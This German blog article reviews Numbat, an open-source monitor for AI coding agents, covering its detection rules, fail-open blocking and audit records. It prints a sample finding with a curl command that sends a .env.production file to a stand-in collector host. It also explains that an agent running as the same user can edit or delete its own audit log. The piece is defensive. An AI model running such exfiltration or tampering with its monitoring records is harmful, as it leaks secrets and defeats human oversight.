Numbat: Was KI-Agenten auf Ihrem Server tun
Perplexity veröffentlicht Numbat als Open-Source-Monitor. Er zeigt, welche Befehle und Dateien KI-Coding-Agenten nutzen, aber er blockiert keine Aktionen.
Was Numbat ist
Numbat schafft Transparenz darüber, was ein KI-Agent auf einem Rechner durchgeführt hat, der Ihnen gehört. Das Tool liest Hook-Callbacks und Sitzungsdateien ein, die Coding-Agenten bereits erzeugen, normalisiert sie in ein einheitliches Ereignisformat und gleicht sie mit Regeln ab. Diese Regeln lösen beispielsweise beim Lesen eines privaten SSH-Schlüssels oder beim direkten Weiterleiten eines Downloads an eine Shell aus. Perplexity hat Numbat unter der Apache-2.0-Lizenz als Open Source veröffentlicht. Der erste getaggte Release erschien am 29. Juli 2026.
Alle folgenden Angaben stammen aus dem Repository des Projekts und der zugehörigen Dokumentation, jeweils abgerufen am 2. August 2026. Wenn Perplexity eine Aussage macht, wird dies in diesem Beitrag kenntlich gemacht. Dies ist keine Installationsanleitung, da das Repository erst wenige Tage alt ist und sich seine Befehle ändern werden.
Das Problem: Niemand dokumentiert, was der Agent getan hat
Ein Coding-Agent auf Ihrem VPS führt Shell-Befehle aus, liest Dateien, schreibt Dateien und öffnet Netzwerkverbindungen. Dabei verwendet er den Benutzeraccount, den Sie ihm übergeben haben. Ihre Shell-Historie erfasst davon nichts, weil der Agent keine Befehle in Ihre Shell eingibt. sshd protokolliert Ihre Anmeldung, aber nicht, was das Modell anschließend entschieden hat. /var/log/auth.log bleibt inaktiv, solange nichts auf sudo zugreift. Der Agent führt ein eigenes Transkript. Diese Datei liegt jedoch im Session-Verzeichnis des Agents, ihr Format ändert sich zwischen Releases, und der eigene Prozess des Agents kann sie schreiben.
Wenn Sie also gefragt werden, ob der Agent letzten Dienstag .env.production gelesen hat, lautet die ehrliche Antwort auf den meisten Servern: Das lässt sich nicht feststellen. Diese Lücke ist der Grund für dieses Projekt.
Was Perplexity zufolge Numbat leistet
Die README beschreibt das Tool zunächst als „Endpoint-Transparenz für die Aktivitäten von KI-Agenten mit lokaler Erkennung, optionaler Blockierung vor Aktionen und forensischer Rekonstruktion“. Mit Endpoint ist hier das System gemeint, auf dem der Agent ausgeführt wird, nicht ein Netzwerkgerät, das den Datenverkehr von außen überwacht. Diese Funktionen sind voneinander getrennt und unterschiedlich zu bewerten.
Die Erkennung läuft auf dem Gerät. Regeln werden in CEL (Common Expression Language) geschrieben und lokal ausgewertet. Darüber liegen Regeln für mehrstufige Sequenzen. Außerdem können Sie eigene Regeln in YAML hinterlegen. Eine Regel kann auslösen, ohne dass Daten das System verlassen müssen.
Die Blockierung ist optional und eng begrenzt. Sie funktioniert nur über synchrone Pre-Action-Hooks und nur bei Agenten, die solche Hooks bereitstellen. Standardmäßig ist sie deaktiviert.
Die Rekonstruktion erfolgt nachträglich. numbat scan analysiert Sitzungsartefakte, die ein Agent bereits auf die Festplatte geschrieben hat. Dadurch können Sie Aktivitäten untersuchen, die vor der Installation des Tools stattgefunden haben. Das Projekt grenzt diese Aussage ausdrücklich ein: „Die Rekonstruktion ruhender Daten ist keine Erfassung von Festplatten- oder Speicherinhalten und kann keine Aktivitäten wiederherstellen, die ein Agent nicht persistent gespeichert hat.“
Die Ausgabe verwendet versioniertes NDJSON (JSON mit einem Datensatz pro Zeile) und umfasst Ereignisse, Befunde, Durchsetzungsentscheidungen, Indikatoren und Scan-Zusammenfassungen. Ab v0.1.2 gilt dafür die Schema-Version 0.2.0. Die Datensätze werden auf stdout oder in eine lokale Datei geschrieben und optional per HTTP an einen von Ihnen betriebenen Collector übertragen. Das Tool wird als einzelne statische Go-Binärdatei ohne cgo für macOS, Linux und Windows auf amd64 und arm64 veröffentlicht. Auf einem Linux-VPS benötigen Sie daher nur eine Datei und müssen zunächst keine Laufzeitumgebung installieren.
Welche Agents kann Numbat tatsächlich sehen?
Die Abdeckungsmatrix in docs/agent-coverage.md ist die maßgebliche Liste, und sie ist uneinheitlich. Das Projekt weist ausdrücklich darauf hin, statt diese Einschränkungen zu verbergen. Claude Code, Codex, Gemini CLI, Cursor und GitHub Copilot CLI unterstützen sowohl die Artefaktprüfung als auch die Live-Erfassung mit einem Pre-Action-Hook. OpenClaw erhält ab Version 2026.7.1 ein natives Plugin. Eine lange Liste von Einträgen ist als zurückgestellt gekennzeichnet. Das bedeutet, dass ein Pfad für Live-Hooks vorhanden ist, der Artefaktparser jedoch fehlt. Häufig liegt das daran, dass der Agent seinen Verlauf in SQLite mit einem Write-Ahead-Log speichert, das während der Ausführung des Agents nicht sicher gelesen werden kann. OpenCode und Cline gehörten zu dieser Gruppe, als die Matrix am 2. August 2026 gelesen wurde.
Prüfen Sie die Zeile für Ihren Agent, bevor Sie auf Grundlage dieses Tools etwas planen. Der Grund ist, dass „unterstützt“ in fast jeder Zeile etwas anderes bedeutet.
Wie eine Erkennung aussieht
Regeln haben IDs, die ihren Zweck angeben. secrets.read_private_key erfasst einen SSH-Schlüssel, AWS-Anmeldedaten, eine kube-Konfiguration oder eine Anmeldung bei einer Paketregistrierung. exec.download_pipe_shell wird ausgelöst, wenn die Ausgabe von curl oder wget an einen Interpreter weitergeleitet wird. privilege.elevated_shell erkennt eine Anfrage nach einer interaktiven Root-Shell über sudo, doas, su oder pkexec. impact.cryptomining_launch findet bekannte Miner-Binärdateien und Image-Namen.
Sequenzregeln verknüpfen Ereignisse innerhalb einer Sitzung. chain.secret_read_then_egress erfordert, dass zuerst eine geheime Datei gelesen wird und anschließend ein Befehl Daten nach außen überträgt. Die README enthält den folgenden Fund aus einer kontrollierten Wiederholung von zwei Claude Code-Callbacks vor der Ausführung, nicht aus einem aktiven Sicherheitsvorfall. Hier ist er auf die relevanten Felder gekürzt:
{
"record_type": "finding",
"rule_id": "chain.secret_read_then_egress",
"rule_version": "1.4",
"severity": "high",
"confidence": "medium",
"title": "Secret-file access followed by data-bearing egress",
"observed_command": "curl --data-binary @/workspace/acme-api/.env.production https://collector.example.invalid/ingest",
"source_agent": "claude-code",
"source_type": "hook",
"tags": ["attack.t1048", "attack.t1552", "attack.t1567"]
}Beachten Sie "confidence": "medium" innerhalb des Datensatzes. Beachten Sie außerdem, was das Projekt über diese gesamte Klasse von Ausgaben sagt: „Findings sind Regelübereinstimmungen, kein Beleg für eine Kompromittierung.“ Ein Deploy-Skript, das einen Schlüssel liest und anschließend ein Build-Artefakt hochlädt, würde dieselbe Sequenzregel erfüllen. Die Übereinstimmung ist korrekt, der Alarm jedoch falsch. Das ist der Normalzustand jedes Erkennungstools, das Sie jemals ausgeführt haben.
Blockieren ist standardmäßig deaktiviert, und bei Fehlern wird die Aktion zugelassen
Jede von Numbat ausgelieferte Regel dient ausschließlich der Überwachung. Eine Regel zu einer Blockierungsregel zu machen, erfordert bewusste Arbeit: Kopieren Sie das vollständige YAML der Regel in Ihr eigenes Verzeichnis, behalten Sie dieselbe id bei, fügen Sie enforce: true hinzu, erhöhen Sie die Version und validieren und installieren Sie anschließend diese Policy.
numbat rules check --rules-dir ./numbat-policy
numbat hook install --agent codex --emit all \
--rules-dir ./numbat-policy --enforceNun zur Frage, wie sehr Sie darauf vertrauen sollten. Numbats deny wird als Antwort an den Agent zurückgegeben. Der Agent verweigert den Tool-Aufruf dann tatsächlich. Die Enforcement-Dokumentation beschreibt direkt, was passiert, wenn Numbat selbst ein Problem hat: „Fehlerhafte Payloads, relevante Auswertungsfehler, Panics und Ausgabefehler unterdrücken den numbat deny.“ Die Eingabe für den Hook ist auf 4 MiB begrenzt. Zu große Eingaben durchlaufen denselben Pfad.
Die Dokumentation beschreibt ebenso direkt die Einschränkung eines deny, das tatsächlich ankommt: „Fail-open bedeutet, dass numbat seine deny-Antwort zurückhält. Es garantiert nicht, dass das Tool ausgeführt wird: Der Host kann weiterhin nachfragen, die Aktion verweigern, eine Zeitüberschreitung auslösen oder einen anderen Hook oder eine andere Policy anwenden.“
Die Durchsetzung ist hier also eine Schutzmaßnahme, keine Sicherheitsgrenze. Wenn der Prozess abstürzt, wird die Aktion nicht durch Numbat blockiert. Ein Monitor, der Ihren Agent bei jedem eigenen Fehler anhält, wird innerhalb einer Woche deinstalliert. Dieser Kompromiss ist vertretbar. Bauen Sie jedoch kein Sicherheitsmodell auf der Annahme auf, dass der deny immer ankommt.
Wo Numbat neben Ihren bestehenden Maßnahmen einzuordnen ist
Numbat läuft auf dem Endpunkt innerhalb des eigenen Prozessbaums des Agents und schreibt standardmäßig nach ~/.numbat/records.ndjson. Ein Agent, der unter Ihrem Benutzerkonto läuft, kann diese Datei lesen. Er kann sie auch bearbeiten. Der Wert der Audit-Spur entspricht genau dem Schutz durch die Isolation um sie herum. Deshalb müssen alle vorhandenen Kontrollen vor dieser Spur liegen und nicht dahinter.
Dem Coding-Agent eine temporäre VM geben begrenzt, worauf ein fehlerhafter Lauf zugreifen kann. Ein Benutzer mit Least Privilege auf dem VPS hält den Agenten von Dateien fern, die er nicht öffnen darf. Zugangsdaten aus dem Kontext des Agents heraushalten sorgt dafür, dass ein secrets.read_private_key-Treffer selten genug ist, um ihn beim Auftreten tatsächlich zu prüfen. Und die Sandbox, die Sie für Claude Code auf einem VPS eingerichtet haben, übernimmt weiterhin die Isolation. Die Isolation begrenzt, worauf ein fehlerhafter Lauf zugreifen kann. Festzuhalten, warum der Code so aufgebaut ist, reduziert dagegen, wie oft der Agent etwas Unerwartetes tut, das Sie zur Logdatei führt.
Numbat ergänzt die Aufzeichnung. Deshalb sollten Sie die Aufzeichnung an einen Ort senden, den der Agent nicht erreichen kann. Dafür sind numbat ship und der HTTP-Sink vorgesehen. Eine Kopie des Datenstroms auf einem zweiten Rechner ist der Unterschied zwischen einer Logdatei und einem Beweismittel. Das Ereignismodell enthält außerdem MCP-Felder (Model Context Protocol). Dadurch landen Tool-Aufrufe, die über einen von Ihnen auf einem VPS betriebenen MCP-Server nach außen gehen, im selben Datenstrom wie lokale Shell-Befehle. Das ist wichtig, weil dieser Pfad für alles unsichtbar ist, was nur bash überwacht. Derselbe blinde Fleck betrifft eine als Such-Backend des Agents eingebundene SearXNG-Instanz. Dort gelangt das Risiko als nicht vertrauenswürdiger Seitentext in den Kontext des Modells und nicht als Befehl, auf den eine Regel reagieren kann.
Zuerst nur lesend testen
Installieren Sie eine festgelegte Version. Für go install ist Go 1.26.5 oder neuer erforderlich. Auf der Releases-Seite stehen vorkompilierte Binärdateien mit SHA-256-Prüfsummen bereit, falls Sie nicht aus dem Quellcode bauen möchten.
go install github.com/perplexityai/numbat/cmd/numbat@v0.1.2
numbat agents
numbat scannumbat agents erkennt auf dem System installierte Agents. numbat scan analysiert die bereits auf dem Datenträger vorhandenen Sitzungsartefakte und gibt Datensätze aus. In der README steht, dass diese Befehle „keine Hooks installieren und die Agent-Konfiguration nicht ändern“ und dass numbat „niemals Agents oder in Artefakten gefundene Befehle ausführt und ausgehende Anfragen nur an konfigurierte HTTP-Sinks sendet“. Der Scan ist lesend und entfernt Geheimnisse aus der Ausgabe. Die normale Datensatzausgabe enthält niemals ein vollständiges ungekürztes Transkript.
Die Live-Erfassung ist der nächste Schritt. Dabei wird die Agent-Konfiguration geändert:
numbat hook install --agent codex --emit all
numbat hook status --agent codex--emit all schreibt Ereignisse, Findings, Indikatoren und zutreffende Durchsetzungsentscheidungen nach ~/.numbat/records.ndjson. Zwei Warnungen stammen direkt aus dem Projekt. Hooks müssen möglicherweise zuerst innerhalb des Agents als vertrauenswürdig eingestuft werden, bevor sie überhaupt ausgeführt werden. Nach Änderungen an Flags wie --enforce muss diese Vertrauensstellung erneut geprüft werden. Außerdem „überprüft hook status die Konfiguration, nicht die Ausführung oder Zustellung“. Eine Statuszeile mit gesundem Zustand ist daher kein Beleg dafür, dass Datensätze irgendwo eintreffen.
Warum ein so neues Repository keine Abhängigkeit ist
Die öffentlichen Releases sind v0.1.1 vom 29. Juli 2026 und v0.1.2 vom 1. August 2026. Als dieser Beitrag am 2. August 2026 verfasst wurde, hatte das Repository 597 Sterne. Ein so schnelles Wachstum spiegelt die Reichweite von Perplexity wider, nicht die langfristige Qualität des Codes. Ein Stern bedeutet, dass jemand die Seite gespeichert hat, um sie später anzusehen.
Die Versionsnummer macht deutlich, wie der aktuelle Stand einzuschätzen ist. Die Hinweise zu v0.1.2 betreffen hauptsächlich Korrekturen bei der Entfernung von Zugangsdaten sowie die Normalisierung von Fallpaketen und Telemetriedaten. Fehler bei der Entfernung vertraulicher Daten sind typische frühe Fehler eines Werkzeugs, das die Transkripte anderer Programme sicher einlesen soll. Weitere Fehler sind zu erwarten, weil die Eingaben von einem Dutzend Agents stammen, die ihre Formate jeweils unabhängig voneinander ändern.
Daraus folgen zwei praktische Regeln. Fixieren Sie in allem, was Sie dauerhaft verwenden, den Tag und niemals @latest. Betrachten Sie das Tool außerdem als Werkzeug, das Sie evaluieren, nicht als Steuerung, auf die Sie sich verlassen, zumindest solange sich das Schema der Datensätze noch ändert.
FAQ
Blockiert Numbat gefährliche Befehle von KI-Agenten?
Nur wenn Sie dies ausdrücklich aktivieren, und auch dann nur nach bestem Ermessen. Jede von Numbat ausgelieferte Regel dient ausschließlich der Überwachung. Zum Blockieren kopieren Sie das YAML der Regel in Ihr eigenes Verzeichnis, behalten die id bei, ergänzen enforce: true, erhöhen die Version und installieren den Hook mit --enforce. Auch dann wird die Ablehnung als Antwort an den Agenten zurückgegeben, und der Agent verweigert den Aufruf. Das Projekt dokumentiert ein Fail-Open-Verhalten: Fehlerhafte Payloads, Auswertungsfehler, Panics und Fehler bei der Ausgabe unterdrücken die Ablehnung. Verwenden Sie dies als zusätzliche Schutzmaßnahme, nicht als einzige Sicherheitsgrenze.
Welche KI-Agenten unterstützt Numbat?
Die Abdeckung unterscheidet sich je nach Agent und ist in docs/agent-coverage.md im Repository aufgeführt. Claude Code, Codex, Gemini CLI, Cursor und GitHub Copilot CLI unterstützten beim Lesen dieser Seite am 2. August 2026 sowohl die Artefaktprüfung als auch die Live-Erfassung. OpenClaw verfügt ab Version 2026.7.1 über ein natives Plugin. Viele andere Agenten sind mit einem Pfad für einen Live-Hook aufgeführt, verfügen aber noch über keinen Parser für Artefakte. Der Grund ist meist, dass ihre Sitzungsverläufe in einer SQLite-Datenbank liegen, die während der Ausführung des Agenten nicht sicher gelesen werden kann. Lesen Sie den Eintrag für Ihren Agenten, da der Begriff „unterstützt“ dort mehrere verschiedene Stufen umfasst.
Kann der Agent die Datensätze von Numbat manipulieren?
Ja, wenn er unter demselben Benutzer ausgeführt wird. Die Datensätze werden standardmäßig unter ~/.numbat/records.ndjson auf demselben Rechner wie der Agent gespeichert. Alles mit Schreibzugriff auf diesen Pfad kann sie daher ändern oder löschen. Senden Sie den Datenstrom mit numbat ship oder dem HTTP-Sink an einen Collector, den der Agent nicht erreichen kann, und behalten Sie die lokale Datei als praktische Kopie. Deshalb ergänzt das Tool die Isolation, statt sie zu ersetzen. Ein Agent, der unter einem Benutzer mit minimalen Berechtigungen in einer kurzlebigen VM eingeschränkt ist, hat deutlich weniger Zugriff auf seine eigene Audit-Aufzeichnung.
Ist Numbat für einen Produktivserver bereit?
Nicht als Kontrollmechanismus, auf den Sie sich verlassen. Die erste öffentliche Version war v0.1.1 am 29. Juli 2026, gefolgt von v0.1.2 am 1. August 2026. Daher ändern sich sowohl die Flags als auch das Datensatzschema noch. Die Ausführung von numbat agents und numbat scan auf einem Rechner ist schreibgeschützt und risikoarm. Sie zeigt Ihnen, welche Dateien Ihre Agenten auf dem Datenträger hinterlassen haben. Die Installation von Enforcement-Hooks auf einem wichtigen Server ist eine andere Entscheidung. Dafür benötigen Sie ein festgelegtes Tag und einen Plan für den Fall, dass der Hook fehlerhaft arbeitet.